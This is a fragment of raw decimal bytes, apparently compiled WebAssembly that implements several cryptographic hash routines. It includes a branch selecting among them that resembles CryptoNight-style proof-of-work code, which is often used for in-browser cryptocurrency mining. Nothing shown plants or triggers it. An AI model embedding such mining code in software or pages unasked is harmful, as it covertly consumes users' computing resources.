65,16,116,32,9,65,16,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,3,32,12,106,32,8,65,4,116,65,147,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,146,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,3,106,34,12,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,16,106,34,16,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,14,106,32,8,65,4,116,65,149,60,106,45,0,0,34,14,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,148,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,14,65,2,116,106,40,2,0,115,106,32,4,106,34,14,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,17,106,34,17,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,5,32,15,106,32,8,65,4,116,65,151,60,106,45,0,0,34,15,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,150,60,106,45,0,0,34,21,65,2,116,106,40,2,0,115,106,34,22,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,22,32,21,65,2,116,65,144,42,106,40,2,0,32,2,32,15,65,2,116,106,40,2,0,115,106,32,5,106,34,15,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,18,106,34,18,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,8,65,4,116,65,159,60,106,45,0,0,34,21,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,158,60,106,45,0,0,34,22,65,2,116,106,40,2,0,115,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,1,106,34,11,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,13,106,34,13,32,1,115,34,1,65,25,116,32,1,65,7,118,114,34,1,106,32,15,106,34,15,32,10,115,34,10,65,16,116,32,10,65,16,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,20,116,32,1,65,12,118,114,33,1,32,15,32,22,65,2,116,65,144,42,106,40,2,0,32,2,32,21,65,2,116,106,40,2,0,115,106,32,1,106,34,15,32,10,115,34,10,65,24,116,32,10,65,8,118,114,34,10,32,16,106,34,16,32,1,115,34,1,65,25,116,32,1,65,7,118,114,33,1,32,8,65,4,116,65,157,60,106,45,0,0,34,19,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,156,60,106,45,0,0,34,20,65,2,116,106,40,2,0,115,32,14,106,32,5,106,34,14,32,6,115,34,6,65,16,116,32,6,65,16,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,20,116,32,5,65,12,118,114,33,5,32,14,32,20,65,2,116,65,144,42,106,40,2,0,32,2,32,19,65,2,116,106,40,2,0,115,106,32,5,106,34,14,32,6,115,34,6,65,24,116,32,6,65,8,118,114,34,6,32,13,106,34,13,32,5,115,34,5,65,25,116,32,5,65,7,118,114,33,5,32,3,32,11,106,32,8,65,4,116,65,153,60,106,45,0,0,34,11,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,152,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,7,115,34,7,65,16,116,32,7,65,16,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,20,116,32,3,65,12,118,114,33,3,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,11,65,2,116,106,40,2,0,115,106,32,3,106,34,11,32,7,115,34,7,65,24,116,32,7,65,8,118,114,34,7,32,17,106,34,17,32,3,115,34,3,65,25,116,32,3,65,7,118,114,33,3,32,4,32,12,106,32,8,65,4,116,65,155,60,106,45,0,0,34,12,65,2,116,65,144,42,106,40,2,0,32,2,32,8,65,4,116,65,154,60,106,45,0,0,34,19,65,2,116,106,40,2,0,115,106,34,20,32,9,115,34,9,65,16,116,32,9,65,16,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,20,116,32,4,65,12,118,114,33,4,32,20,32,19,65,2,116,65,144,42,106,40,2,0,32,2,32,12,65,2,116,106,40,2,0,115,106,32,4,106,34,12,32,9,115,34,9,65,24,116,32,9,65,8,118,114,34,9,32,18,106,34,18,32,4,115,34,4,65,25,116,32,4,65,7,118,114,33,4,32,8,65,1,106,34,8,65,14,71,13,0,11,32,23,40,2,0,33,8,32,24,40,2,0,33,19,32,25,40,2,0,33,20,32,26,40,2,0,33,21,32,27,40,2,0,33,22,32,28,40,2,0,33,34,32,29,40,2,0,33,35,32,0,32,13,32,11,115,32,0,40,2,0,115,32,30,40,2,0,34,0,115,54,2,0,32,23,32,12,32,16,115,32,8,115,32,31,40,2,0,34,11,115,54,2,0,32,24,32,17,32,14,115,32,19,115,32,32,40,2,0,34,13,115,54,2,0,32,25,32,18,32,15,115,32,20,115,32,33,40,2,0,34,12,115,54,2,0,32,26,32,9,32,1,115,32,21,115,32,0,115,54,2,0,32,27,32,3,32,6,115,32,22,115,32,11,115,54,2,0,32,28,32,4,32,10,115,32,34,115,32,13,115,54,2,0,32,29,32,5,32,7,115,32,35,115,32,12,115,54,2,0,32,2,36,4,11,126,1,4,127,32,0,65,128,131,128,1,106,34,4,40,2,0,34,1,69,4,64,32,0,16,12,15,11,32,1,40,2,0,34,2,4,64,32,2,40,2,4,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,4,32,1,40,2,0,33,2,11,32,2,40,2,12,34,3,4,64,32,3,16,12,32,1,40,2,0,65,0,54,2,12,32,1,40,2,0,33,2,11,32,2,16,12,32,1,65,0,54,2,0,32,4,40,2,0,33,1,11,32,1,16,12,32,0,16,12,11,130,8,2,14,127,1,126,35,4,33,3,35,4,65,16,106,36,4,65,144,131,128,1,16,16,34,2,4,64,32,2,65,124,106,40,2,0,65,3,113,4,64,32,2,65,0,65,144,131,128,1,16,14,26,11,11,65,24,16,16,34,0,69,4,64,32,2,65,128,131,128,1,106,65,0,54,2,0,32,3,36,4,32,2,15,11,32,0,65,124,106,40,2,0,65,3,113,4,64,32,0,66,0,55,0,0,32,0,66,0,55,0,8,32,0,66,0,55,0,16,11,32,3,16,7,26,32,3,16,8,33,1,32,3,47,1,4,34,6,16,16,34,4,69,34,7,69,4,64,32,4,65,124,106,40,2,0,65,3,113,4,64,32,4,65,0,32,6,16,14,26,11,11,32,1,40,2,20,33,8,32,1,40,2,16,33,9,32,1,40,2,12,33,10,32,1,40,2,8,33,11,32,1,40,2,4,33,12,32,1,40,2,0,33,1,35,4,33,5,35,4,65,16,106,36,4,65,20,32,5,16,5,33,13,32,5,36,4,32,13,33,5,32,7,69,4,64,32,4,16,12,11,65,128,204,0,32,6,65,237,14,106,32,8,106,32,9,106,32,4,32,6,106,106,32,10,106,32,11,106,32,12,106,32,1,106,32,5,106,34,1,65,127,106,173,55,3,0,32,0,65,0,54,2,0,32,0,65,4,106,34,1,32,1,46,1,0,65,126,113,59,1,0,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,6,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,7,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,8,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,9,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,10,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,11,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,12,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,13,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,14,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,15,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,16,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,17,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,18,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,19,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,20,65,128,204,0,65,128,204,0,41,3,0,66,173,254,213,228,212,133,253,168,216,0,126,66,1,124,34,14,55,3,0,32,0,32,14,66,33,136,167,58,0,21,32,1,32,1,46,1,0,65,2,114,59,1,0,32,2,65,128,131,128,1,106,32,0,54,2,0,32,3,36,4,32,2,11,227,11,1,9,127,35,4,33,3,35,4,65,208,2,106,36,4,32,3,66,0,55,2,0,32,3,66,0,55,2,8,32,3,66,0,55,2,16,32,3,66,0,55,2,24,32,3,66,0,55,2,32,32,3,66,0,55,2,40,32,3,66,0,55,2,48,32,3,65,0,54,2,56,32,3,65,60,106,34,11,65,128,128,4,54,2,0,32,3,65,136,1,106,34,5,65,0,54,2,0,32,3,65,192,0,106,34,6,65,0,54,2,0,32,3,65,196,0,106,34,4,65,0,54,2,0,32,3,65,140,1,106,34,7,65,0,54,2,0,32,3,32,0,32,1,65,255,255,255,255,1,113,34,8,16,24,32,1,65,192,255,255,255,1,113,34,1,32,8,73,4,64,3,64,32,0,32,1,106,44,0,0,33,9,32,5,32,5,40,2,0,34,10,65,1,106,54,2,0,32,3,65,200,0,106,32,10,106,32,9,58,0,0,32,1,65,1,106,34,1,32,8,71,13,0,11,11,32,7,40,2,0,34,1,4,64,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,32,1,116,65,127,106,65,8,32,1,107,116,32,0,45,0,0,113,58,0,0,32,3,32,5,40,2,0,106,65,199,0,106,34,0,65,1,65,7,32,7,40,2,0,107,116,32,0,45,0,0,115,58,0,0,32,7,65,0,54,2,0,5,32,5,32,5,40,2,0,34,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,128,127,58,0,0,11,2,64,2,64,32,5,40,2,0,34,0,65,56,74,4,64,32,0,65,192,0,72,4,64,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,192,0,72,13,0,11,11,32,3,32,3,65,200,0,106,65,192,0,16,24,32,5,65,0,54,2,0,65,0,33,0,12,1,5,32,0,65,56,71,13,1,11,12,1,11,3,64,32,5,32,0,65,1,106,54,2,0,32,3,65,200,0,106,32,0,106,65,0,58,0,0,32,5,40,2,0,34,0,65,56,72,13,0,11,11,32,6,32,6,40,2,0,65,1,106,34,1,54,2,0,32,1,69,4,64,32,4,32,4,40,2,0,65,1,106,54,2,0,11,32,5,65,192,0,54,2,0,65,192,0,33,0,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,60,74,13,0,11,32,6,32,1,54,2,0,32,0,65,56,74,4,64,32,4,40,2,0,33,1,3,64,32,5,32,0,65,127,106,34,0,54,2,0,32,3,65,200,0,106,32,0,106,32,1,58,0,0,32,1,65,8,118,33,1,32,5,40,2,0,34,0,65,56,74,13,0,11,32,4,32,1,54,2,0,11,32,3,32,3,65,200,0,106,65,192,0,16,24,32,3,65,144,2,106,34,4,32,3,41,2,0,55,2,0,32,4,32,3,41,2,8,55,2,8,32,4,32,3,41,2,16,55,2,16,32,4,32,3,41,2,24,55,2,24,32,4,32,3,41,2,32,55,2,32,32,4,32,3,41,2,40,55,2,40,32,4,32,3,41,2,48,55,2,48,32,4,32,3,41,2,56,55,2,56,32,4,32,3,65,208,1,106,34,1,65,0,16,10,32,1,32,3,65,144,1,106,34,0,65,1,16,10,32,0,32,1,65,2,16,10,32,1,32,0,65,3,16,10,32,0,32,1,65,4,16,10,32,1,32,0,65,5,16,10,32,0,32,1,65,6,16,10,32,1,32,0,65,7,16,10,32,0,32,1,65,8,16,10,32,1,32,4,65,9,16,10,32,3,32,3,40,2,0,32,4,40,2,0,115,54,2,0,32,3,65,4,106,34,0,32,0,40,2,0,32,4,40,2,4,115,54,2,0,32,3,65,8,106,34,0,32,0,40,2,0,32,4,40,2,8,115,54,2,0,32,3,65,12,106,34,0,32,0,40,2,0,32,4,40,2,12,115,54,2,0,32,3,65,16,106,34,0,32,0,40,2,0,32,4,40,2,16,115,54,2,0,32,3,65,20,106,34,0,32,0,40,2,0,32,4,40,2,20,115,54,2,0,32,3,65,24,106,34,0,32,0,40,2,0,32,4,40,2,24,115,54,2,0,32,3,65,28,106,34,0,32,0,40,2,0,32,4,40,2,28,115,54,2,0,32,3,65,32,106,34,0,40,2,0,32,4,40,2,32,115,33,6,32,0,32,6,54,2,0,32,3,65,36,106,34,0,40,2,0,32,4,40,2,36,115,33,7,32,0,32,7,54,2,0,32,3,65,40,106,34,0,40,2,0,32,4,40,2,40,115,33,8,32,0,32,8,54,2,0,32,3,65,44,106,34,0,40,2,0,32,4,40,2,44,115,33,9,32,0,32,9,54,2,0,32,3,65,48,106,34,0,40,2,0,32,4,40,2,48,115,33,10,32,0,32,10,54,2,0,32,3,65,52,106,34,0,40,2,0,32,4,40,2,52,115,33,1,32,0,32,1,54,2,0,32,3,65,56,106,34,0,32,0,40,2,0,32,4,40,2,56,115,54,2,0,32,11,32,11,40,2,0,32,4,40,2,60,115,54,2,0,32,2,32,6,58,0,0,32,2,32,6,65,8,118,58,0,1,32,2,32,6,65,16,118,58,0,2,32,2,32,6,65,24,118,58,0,3,32,2,32,7,58,0,4,32,2,32,7,65,8,118,58,0,5,32,2,32,7,65,16,118,58,0,6,32,2,32,7,65,24,118,58,0,7,32,2,32,8,58,0,8,32,2,32,8,65,8,118,58,0,9,32,2,32,8,65,16,118,58,0,10,32,2,32,8,65,24,118,58,0,11,32,2,32,9,58,0,12,32,2,32,9,65,8,118,58,0,13,32,2,32,9,65,16,118,58,0,14,32,2,32,9,65,24,118,58,0,15,32,2,32,10,58,0,16,32,2,32,10,65,8,118,58,0,17,32,2,32,10,65,16,118,58,0,18,32,2,32,10,65,24,118,58,0,19,32,2,32,1,58,0,20,32,2,32,1,65,8,118,58,0,21,32,2,32,1,65,16,118,58,0,22,32,2,32,3,44,0,55,58,0,23,32,2,32,0,44,0,0,58,0,24,32,2,32,3,44,0,57,58,0,25,32,2,32,3,44,0,58,58,0,26,32,2,32,3,44,0,59,58,0,27,32,2,32,11,44,0,0,58,0,28,32,2,32,3,44,0,61,58,0,29,32,2,32,3,44,0,62,58,0,30,32,2,32,3,44,0,63,58,0,31,32,3,36,4,11,93,1,1,127,32,1,32,0,72,32,0,32,1,32,2,106,72,113,4,64,32,1,32,2,106,33,1,32,0,34,3,32,2,106,33,0,3,64,32,2,65,0,74,4,64,32,2,65,1,107,33,2,32,0,65,1,107,34,0,32,1,65,1,107,34,1,44,0,0,58,0,0,12,1,11,11,32,3,33,0,5,32,0,32,1,32,2,16,11,26,11,32,0,11,180,13,1,11,127,35,4,33,6,35,4,65,160,3,106,36,4,32,6,34,7,65,128,4,54,2,0,32,7,65,128,2,54,2,8,32,7,65,32,106,34,3,65,192,41,41,3,0,55,3,0,32,3,65,200,41,41,3,0,55,3,8,32,3,65,208,41,41,3,0,55,3,16,32,3,65,216,41,41,3,0,55,3,24,32,3,65,224,41,41,3,0,55,3,32,32,3,65,232,41,41,3,0,55,3,40,32,3,65,240,41,41,3,0,55,3,48,32,3,65,248,41,41,3,0,55,3,56,32,7,65,16,106,34,13,66,0,55,3,0,32,7,65,24,106,34,11,66,128,128,128,128,128,128,128,128,240,0,55,3,0,32,7,65,12,106,34,12,65,0,54,2,0,32,7,65,8,106,33,9,32,1,65,255,255,255,255,1,113,34,6,65,127,106,34,10,65,64,113,33,8,32,1,65,3,116,65,135,4,75,4,64,32,9,32,0,32,10,65,6,118,65,192,0,16,23,32,6,32,8,107,33,6,32,0,32,8,106,33,0,11,32,6,4,64,32,9,65,216,0,106,32,12,40,2,0,34,1,106,32,0,32,6,16,11,26,32,12,32,1,32,6,106,54,2,0,11,32,7,65,160,2,106,33,4,2,64,2,64,2,64,2,64,32,7,40,2,0,65,8,118,65,3,113,14,3,2,1,0,3,11,32,7,65,8,106,33,9,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,192,0,73,4,64,32,9,65,216,0,106,32,0,106,65,0,65,192,0,32,0,107,16,14,26,11,32,9,32,7,65,224,0,106,34,5,65,1,32,0,16,23,32,9,40,2,0,65,7,106,65,3,118,33,8,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,8,4,64,32,8,65,127,106,65,6,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,9,32,5,65,1,65,8,16,23,32,2,32,0,106,32,3,32,8,32,0,107,34,0,65,192,0,73,4,127,32,0,5,65,192,0,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,6,65,1,106,34,1,65,6,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,65,8,106,33,10,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,32,73,4,64,32,10,65,56,106,32,0,106,65,0,65,32,32,0,107,16,14,26,11,32,10,32,7,65,192,0,106,34,8,65,1,32,0,16,25,32,10,40,2,0,65,7,106,65,3,118,33,6,32,8,66,0,55,3,0,32,8,66,0,55,3,8,32,8,66,0,55,3,16,32,8,66,0,55,3,24,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,6,4,64,65,0,33,0,3,64,32,8,32,0,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,10,32,8,65,1,65,8,16,25,32,2,32,0,106,32,3,32,6,32,0,107,34,1,65,32,73,4,127,32,1,5,65,32,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,6,32,0,65,32,106,34,0,75,13,0,11,11,32,7,36,4,15,11,32,11,32,11,41,3,0,66,128,128,128,128,128,128,128,128,128,127,132,55,3,0,32,12,40,2,0,34,0,65,128,1,73,4,64,32,7,65,160,1,106,32,0,106,65,0,65,128,1,32,0,107,16,14,26,11,32,7,65,8,106,34,8,32,7,65,160,1,106,34,5,65,1,32,0,16,26,32,8,40,2,0,65,7,106,65,3,118,33,9,32,5,66,0,55,3,0,32,5,66,0,55,3,8,32,5,66,0,55,3,16,32,5,66,0,55,3,24,32,5,66,0,55,3,32,32,5,66,0,55,3,40,32,5,66,0,55,3,48,32,5,66,0,55,3,56,32,5,66,0,55,3,64,32,5,66,0,55,3,72,32,5,66,0,55,3,80,32,5,66,0,55,3,88,32,5,66,0,55,3,96,32,5,66,0,55,3,104,32,5,66,0,55,3,112,32,5,66,0,55,3,120,32,4,32,3,41,3,0,55,3,0,32,4,32,3,41,3,8,55,3,8,32,4,32,3,41,3,16,55,3,16,32,4,32,3,41,3,24,55,3,24,32,4,32,3,41,3,32,55,3,32,32,4,32,3,41,3,40,55,3,40,32,4,32,3,41,3,48,55,3,48,32,4,32,3,41,3,56,55,3,56,32,4,32,3,41,3,64,55,3,64,32,4,32,3,41,3,72,55,3,72,32,4,32,3,41,3,80,55,3,80,32,4,32,3,41,3,88,55,3,88,32,4,32,3,41,3,96,55,3,96,32,4,32,3,41,3,104,55,3,104,32,4,32,3,41,3,112,55,3,112,32,4,32,3,41,3,120,55,3,120,32,9,4,64,32,9,65,127,106,65,7,118,33,10,65,0,33,6,65,0,33,0,3,64,32,5,32,6,173,55,3,0,32,13,66,0,55,3,0,32,11,66,128,128,128,128,128,128,128,128,127,55,3,0,32,12,65,0,54,2,0,32,8,32,5,65,1,65,8,16,26,32,2,32,0,106,32,3,32,9,32,0,107,34,0,65,128,1,73,4,127,32,0,5,65,128,1,11,16,11,26,32,3,32,4,41,3,0,55,3,0,32,3,32,4,41,3,8,55,3,8,32,3,32,4,41,3,16,55,3,16,32,3,32,4,41,3,24,55,3,24,32,3,32,4,41,3,32,55,3,32,32,3,32,4,41,3,40,55,3,40,32,3,32,4,41,3,48,55,3,48,32,3,32,4,41,3,56,55,3,56,32,3,32,4,41,3,64,55,3,64,32,3,32,4,41,3,72,55,3,72,32,3,32,4,41,3,80,55,3,80,32,3,32,4,41,3,88,55,3,88,32,3,32,4,41,3,96,55,3,96,32,3,32,4,41,3,104,55,3,104,32,3,32,4,41,3,112,55,3,112,32,3,32,4,41,3,120,55,3,120,32,6,65,1,106,34,1,65,7,116,33,0,32,6,32,10,71,4,64,32,1,33,6,12,1,11,11,11,32,7,36,4,15,11,32,7,36,4,11,214,9,2,4,127,2,126,35,4,33,3,35,4,65,224,1,106,36,4,32,3,65,8,106,34,5,66,0,55,3,8,32,3,65,128,2,54,2,0,32,3,65,32,106,34,4,65,176,62,41,0,0,55,0,0,32,4,65,184,62,41,0,0,55,0,8,32,4,65,192,62,41,0,0,55,0,16,32,4,65,200,62,41,0,0,55,0,24,32,4,65,208,62,41,0,0,55,0,32,32,4,65,216,62,41,0,0,55,0,40,32,4,65,224,62,41,0,0,55,0,48,32,4,65,232,62,41,0,0,55,0,56,32,4,65,240,62,41,0,0,55,0,64,32,4,65,248,62,41,0,0,55,0,72,32,4,65,128,63,41,0,0,55,0,80,32,4,65,136,63,41,0,0,55,0,88,32,4,65,144,63,41,0,0,55,0,96,32,4,65,152,63,41,0,0,55,0,104,32,4,65,160,63,41,0,0,55,0,112,32,4,65,168,63,41,0,0,55,0,120,32,5,32,1,65,3,116,34,1,173,34,7,55,3,0,32,1,65,255,3,75,4,127,32,3,65,160,1,106,33,1,3,64,32,1,32,0,32,8,167,106,34,4,41,0,0,55,0,0,32,1,32,4,41,0,8,55,0,8,32,1,32,4,41,0,16,55,0,16,32,1,32,4,41,0,24,55,0,24,32,1,32,4,41,0,32,55,0,32,32,1,32,4,41,0,40,55,0,40,32,1,32,4,41,0,48,55,0,48,32,1,32,4,41,0,56,55,0,56,32,3,16,22,32,8,66,192,0,124,33,8,32,7,66,128,124,124,34,7,66,255,3,86,13,0,11,32,8,167,5,65,0,11,33,1,32,3,65,16,106,33,4,32,7,66,0,82,4,64,32,3,65,160,1,106,33,6,32,0,32,1,106,33,0,32,7,66,3,136,66,63,131,33,8,32,7,66,7,131,66,0,81,4,127,32,6,32,0,32,8,167,16,11,5,32,6,32,0,32,8,66,1,124,167,16,11,11,26,32,4,32,7,55,3,0,11,32,5,41,3,0,34,7,66,255,3,131,34,8,66,0,81,4,64,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,0,65,128,127,58,0,0,32,3,32,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,22,5,32,8,66,3,136,33,8,32,4,41,3,0,66,7,131,66,0,81,4,64,32,8,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,5,32,8,66,1,124,167,34,0,65,192,0,73,4,64,32,3,32,0,65,160,1,106,106,65,0,65,192,0,32,0,107,16,14,26,11,11,32,3,65,160,1,106,32,7,66,3,136,167,65,63,113,106,34,0,65,1,32,7,167,65,7,113,65,7,115,116,32,0,45,0,0,114,58,0,0,32,3,16,22,32,3,65,160,1,106,34,0,66,0,55,3,0,32,0,66,0,55,3,8,32,0,66,0,55,3,16,32,0,66,0,55,3,24,32,0,66,0,55,3,32,32,0,66,0,55,3,40,32,0,66,0,55,3,48,32,0,66,0,55,3,56,32,3,32,5,41,3,0,34,7,60,0,223,1,32,3,32,7,66,8,136,60,0,222,1,32,3,32,7,66,16,136,60,0,221,1,32,3,32,7,66,24,136,60,0,220,1,32,3,32,7,66,32,136,60,0,219,1,32,3,32,7,66,40,136,60,0,218,1,32,3,32,7,66,48,136,60,0,217,1,32,3,32,7,66,56,136,60,0,216,1,32,3,16,22,11,2,64,2,64,2,64,2,64,2,64,32,3,40,2,0,65,160,126,106,34,0,65,5,118,32,0,65,27,116,114,14,10,0,1,4,4,4,2,4,4,4,3,4,11,32,2,32,3,65,132,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,40,0,24,54,0,24,32,3,36,4,15,11,32,2,32,3,65,128,1,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,3,36,4,15,11,32,2,32,3,65,240,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,3,36,4,15,11,32,2,32,3,65,224,0,106,34,0,41,0,0,55,0,0,32,2,32,0,41,0,8,55,0,8,32,2,32,0,41,0,16,55,0,16,32,2,32,0,41,0,24,55,0,24,32,2,32,0,41,0,32,55,0,32,32,2,32,0,41,0,40,55,0,40,32,2,32,0,41,0,48,55,0,48,32,2,32,0,41,0,56,55,0,56,32,3,36,4,15,11,32,3,36,4,11,209,6,1,14,127,35,4,33,3,35,4,65,144,1,106,36,4,32,3,65,231,204,167,208,6,54,2,0,32,3,65,4,106,34,10,65,133,221,158,219,123,54,2,0,32,3,65,8,106,34,11,65,242,230,187,227,3,54,2,0,32,3,65,12,106,34,12,65,186,234,191,170,122,54,2,0,32,3,65,16,106,34,13,65,255,164,185,136,5,54,2,0,32,3,65,20,106,34,14,65,140,209,149,216,121,54,2,0,32,3,65,24,106,34,15,65,171,179,143,252,1,54,2,0,32,3,65,28,106,34,16,65,153,154,131,223,5,54,2,0,32,3,65,32,106,34,7,66,0,55,2,0,32,7,66,0,55,2,8,32,7,66,0,55,2,16,32,7,66,0,55,2,24,32,3,32,0,32,1,173,66,3,134,16,17,32,3,65,137,1,106,34,1,65,129,127,58,0,0,32,3,65,136,1,106,34,0,65,1,58,0,0,32,3,65,128,1,106,34,5,32,3,40,2,52,32,3,40,2,56,34,6,32,3,65,48,106,34,4,40,2,0,34,9,106,34,8,32,6,73,106,34,7,65,24,118,58,0,0,32,5,32,7,65,16,118,58,0,1,32,5,32,7,65,8,118,58,0,2,32,5,32,7,58,0,3,32,5,32,8,65,24,118,58,0,4,32,5,32,8,65,16,118,58,0,5,32,5,32,8,65,8,118,58,0,6,32,5,32,8,58,0,7,32,6,65,184,3,70,4,64,32,4,